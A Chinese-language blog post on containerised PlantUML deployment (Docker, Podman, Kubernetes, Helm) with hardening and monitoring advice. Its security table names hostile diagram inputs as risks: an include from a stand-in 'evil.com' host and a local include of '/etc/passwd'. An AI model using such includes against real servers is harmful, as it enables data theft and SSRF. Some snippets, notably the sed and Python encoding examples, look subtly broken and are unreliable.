PlantUML 容器化部署:Docker / Podman / 多版本隔离

puml.online

PlantUML 部署方式取决于使用规模。这篇是 CLI / Docker / Podman / Kubernetes / sidecar 的取舍,以及安全加固、性能监控、多版本隔离的实战。

三种最常见的部署形态

形态 A:CLI 一次性渲染

适合 CI、临时任务、个人脚本。

1
2
3
4
5
6
docker run --rm \
-v $(pwd)/docs/diagrams:/data \
-u $(id -u):$(id -g) \
plantuml/plantuml \
-tsvg -failfast2 \
/data/architecture.puml

关键参数:

  • --rm:渲染完即删容器,不留垃圾
  • -v:把 .puml 目录挂进容器
  • -u $(id -u):$(id -g):容器内用户跟 host 一致,生成的文件权限正确
  • -failfast2:遇到第一个错误就退出(CI 必加,不然渲染 100 个图第 50 个失败还会继续)

形态 B:HTTP server(团队共享)

适合团队 wiki、CI 服务化。

1
2
3
4
5
6
7
docker run -d \
--name plantuml-server \
--restart unless-stopped \
-p 8080:8080 \
-e PLANTUML_SECURITY_PROFILE=strict \
-v /opt/plantuml-data:/data \
plantuml/plantuml-server:tomcat

然后:

1
curl "http://localhost:8080/svg/~1$(cat diagram.puml | base64 -w0 | sed 's/+/-/g;s/\//_/g/')"

返回 SVG。~1 是 HUFFMAN 编码前缀(plantuml.com 2025 后默认)。

部署到企业内网,把 localhost:8080 换成 plantuml.internal.company.com:8080,Confluence/Jira/Notion 都能配。

形态 C:Kubernetes sidecar(微服务架构里)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: api-server
spec:
template:
spec:
containers:
- name: api
image: my-api:latest
env:
- name: PLANTUML_URL
value: "http://localhost:8080"
- name: plantuml
image: plantuml/plantuml-server:tomcat
ports:
- containerPort: 8080
resources:
limits:
memory: "512Mi"
cpu: "500m"

API 服务和 plantuml 部署在同一个 Pod,共享 localhost 网络。好处:

  • 不用外部 IP,内网访问安全
  • API 服务挂了,plantuml 也跟着重启
  • plantuml-server 内存占用低(<500MB),作为 sidecar 完全 OK

多版本隔离

老项目的图用了 PlantUML 老版本特性(!include 在某些图里只 v1.2018 之前支持),新项目用最新特性。两套 server:

1
2
3
4
5
6
7
8
9
# 旧版本
docker run -d --name plantuml-legacy \
-p 8081:8080 \
plantuml/plantuml-server:tomcat-jdk11-v1.2020.16

# 新版本
docker run -d --name plantuml-modern \
-p 8082:8080 \
plantuml/plantuml-server:latest

业务代码根据需要选不同 endpoint:

1
2
3
4
def render_puml(puml_text: str, legacy: bool = False) -> bytes:
url = "http://localhost:8081" if legacy else "http://localhost:8082"
encoded = base64.urlsafe_b64encode(zlib.compress(puml_text.encode()))[: -4]
return requests.get(f"{url}/svg/{encoded}").content

Podman(无 root 守护进程)

Docker Desktop 在 macOS/Windows 上需要 daemon,Podman 是 daemonless 替代:

1
2
3
4
5
6
7
# 启动
podman run -d --name plantuml \
-p 8080:8080 \
plantuml/plantuml-server:tomcat

# 跟 docker 命令 99% 兼容
podman run --rm -v $(pwd):/data plantuml/plantuml -tsvg /data/diagram.puml

CI 里用 Podman 的 rootless 容器,跑在非 root 用户下,更安全:

1
2
3
4
5
6
7
8
9
# .github/workflows/diagrams.yml
jobs:
render:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: |
sudo apt-get install -y podman
podman run --rm -v $(pwd):/data:Z plantuml/plantuml -tsvg /data/diagram.puml

:Z 是 SELinux relabel,让 rootless Podman 在 RHEL/CentOS 上能 mount host 目录。

资源限制

PlantUML 单图渲染内存可能爆——尤其是带 !include 多个 stdlib 的复杂图。

1
2
3
4
5
docker run -d --name plantuml \
-p 8080:8080 \
--memory=1g --memory-swap=2g \
--cpus=2 \
plantuml/plantuml-server:tomcat

K8s:

1
2
3
4
5
6
7
resources:
requests:
memory: "256Mi"
cpu: "200m"
limits:
memory: "1Gi"
cpu: "1"

监控 渲染时间超过 5 秒报警——可能哪个图带了 !include http://...(网络 include 卡死整个 server)。

安全加固

风险 加固
!include http://evil.com/leak.puml 拉取恶意文件 PLANTUML_SECURITY_PROFILE=strict 关远程 include
!include file:///etc/passwd 读 host 文件 strict 也禁了本地文件读
SSRF / DoS 加 nginx rate limit,限制单 IP 每秒请求数
Server 暴露公网被滥用 firewall 只开内网;加 Cloudflare Access 鉴权
图片含敏感信息被缓存 渲染完删除 docker container --rm
PlantUML 自身漏洞 跟最新 Docker image plantuml/plantuml-server:tomcat 每月 rebuild

strict profile 完整列表:

1
2
3
4
5
6
docker run -d --name plantuml \
-p 8080:8080 \
-e PLANTUML_SECURITY_PROFILE=strict \
-e PLANTUML_DISABLE_INCLUDE=true \
-e PLANTUML_LIMIT_SIZE=8192 \
plantuml/plantuml-server:tomcat
  • DISABLE_INCLUDE=true 完全禁 include
  • LIMIT_SIZE=8192 单图最大 8MB 输出

监控

1
2
3
4
5
6
# prometheus.yml scrape config
scrape_configs:
- job_name: 'plantuml'
static_configs:
- targets: ['plantuml.internal:8080']
metrics_path: /metrics

PlantUML server 自带 Prometheus endpoint:

1
2
3
4
curl http://localhost:8080/metrics
# HELP plantuml_request_total Total requests
# TYPE plantuml_request_total counter
plantuml_request_total{format="svg"} 1234

关键指标:

  • plantuml_request_total:渲染请求数
  • plantuml_render_duration_seconds:渲染耗时(应该 < 1s)
  • plantuml_memory_usage_bytes:内存占用

告警规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
groups:
- name: plantuml
rules:
- alert: PlantumlSlowRender
expr: plantuml_render_duration_seconds > 5
for: 5m
annotations:
summary: "PlantUML 渲染慢,可能有人加了网络 include"
- alert: PlantumlHighMemory
expr: plantuml_memory_usage_bytes > 800 * 1024 * 1024
for: 10m
annotations:
summary: "PlantUML 内存超过 800MB"

反向代理(Nginx)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# /etc/nginx/conf.d/plantuml.conf
server {
listen 80;
server_name plantuml.internal.company.com;

# 单 IP 每秒 10 个请求,防滥用
limit_req_zone $binary_remote_addr zone=plantuml:10m rate=10r/s;
limit_req zone=plantuml burst=20 nodelay;

location / {
proxy_pass http://localhost:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;

# 24h 缓存(plantuml 输入是不可变的)
proxy_cache_valid 200 24h;
add_header X-Cache-Status $upstream_cache_status;
}
}

输入是不可变的(同一 puml text 永远产生同一 SVG)——缓存命中率应该 99%+。

迁移到 Helm(Okteto / Argo CD)

团队大时,手动 kubectl apply 容易出错。Helm chart:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# values.yaml
image:
repository: plantuml/plantuml-server
tag: tomcat

replicaCount: 2

resources:
limits:
memory: 1Gi
requests:
memory: 256Mi

security:
profile: strict
disableInclude: true
limitSize: 8192

ingress:
enabled: true
hosts:
- plantuml.internal.company.com
1
helm install plantuml ./plantuml-chart -n plantuml --create-namespace

生产环境 用 Argo CD 自动同步 Git → cluster,plantuml 配置全部 GitOps 化。

实战踩坑

  • Docker mount 权限错:容器内是 root,生成的文件 host 上是 root,普通用户读不了。-u $(id -u):$(id -g)
  • PlantUML server 内存泄漏:某些带 !include 大文件的图渲染完不释放内存,跑 3 天后 OOM。--memory=1g + 定期 docker restart
  • HTTP server 慢:默认 tomcat 配置单线程,100 并发就排队。改用 Undertow 或加 nginx upstream
  • 网络 include 卡死:开发图用 !include http://...,server 端 fetch 超时。strict profile 直接禁掉,强迫本地 include
  • PlantUML 版本差异:v1.2020 跟 v1.2024 的 !include 行为不同。项目锁版本,容器 tag 写死:plantuml/plantuml-server:tomcat-v1.2024.7
  • 标题: PlantUML 容器化部署:Docker / Podman / 多版本隔离
  • 作者: puml.online
  • 创建于 : 2026-07-30 16:45:00
  • 更新于 : 2026-08-14 21:34:29
  • 链接: https://puml.online/blog/plantuml-docker-deployment/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。